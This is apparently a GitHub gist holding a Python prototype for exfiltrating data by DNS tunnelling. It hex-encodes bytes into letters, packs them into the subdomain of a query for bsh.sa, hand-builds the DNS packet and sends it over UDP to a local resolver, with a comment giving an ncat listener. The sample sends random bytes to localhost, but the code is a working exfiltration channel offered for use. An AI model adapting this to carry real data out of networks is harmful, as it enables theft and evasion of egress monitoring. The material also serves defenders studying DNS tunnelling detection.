Skip to content

Instantly share code, notes, and snippets.

@Barakat
Created January 28, 2019 08:50
Show Gist options
  • Save Barakat/04d39198f044c78ac4674ce164e2795c to your computer and use it in GitHub Desktop.
Save Barakat/04d39198f044c78ac4674ce164e2795c to your computer and use it in GitHub Desktop.
DNS-based exfiltration/tunnelling prototype
#!python
# -*- coding: utf-8 -*-
import struct
import socket
import logging
import sys
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
def ascii_encode(data):
code = ''
for byte in data:
code += chr((byte >> 4) + 0x61)
code += chr((byte & 0xf) + 0x61)
return code
def create_dns_query_packet(identifier, query_name):
# References:
# https://www.rfc-editor.org/rfc/rfc1035.txt
# https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml
packet = b''
# ID
packet += struct.pack('>H', identifier)
# QR 1-bit 1 Query? Yes
# OPCODE 4-bits 0 Operation: Standard Query
# AA 1-bit 0 -
# TC 1-bit 0 Truncated? No, hopefully
# RD 1-bit 0 Recursion Desired? No
# RA 1-bit 0 -
# Z 3-bit 0 -
# RCODE 4-bit 0 -
packet += struct.pack('>H', 0b0_0000_0_0_0_0_000_0000)
# QDCOUNT
packet += struct.pack('>H', 1)
# ANCOUNT
packet += struct.pack('>H', 0)
# NSCOUNT
packet += struct.pack('>H', 0)
# ARCOUNT
packet += struct.pack('>H', 0)
# QNAME
packet += b''.join(
struct.pack('>B', len(i)) + i.encode('ascii') for i in query_name.split('.')
) + struct.pack('>B', 0)
# QTYPE (Type A, 1)
packet += struct.pack('>H', 1)
# QCLASS (Internet, 1)
packet += struct.pack('>H', 1)
return packet
def main():
# echo A | ncat -ul 0.0.0.0 53
# 16-bytes chunk of exfiltrated data (random bytes)
import os
data = os.urandom(16)
data_encoded = ascii_encode(data)
dns_name = f'{data_encoded}.bsh.sa'
request_packet = create_dns_query_packet(2, dns_name)
logging.debug(dns_name)
logging.debug(request_packet)
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as client_socket:
client_socket.sendto(request_packet, ('127.0.0.1', 53))
timeout = client_socket.gettimeout()
client_socket.settimeout(3)
response_packet = None
try:
response_packet = client_socket.recv(1024)
except ConnectionResetError as exception:
logging.error(exception)
except socket.timeout as exception:
logging.error(exception)
client_socket.settimeout(timeout)
logging.debug(response_packet)
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment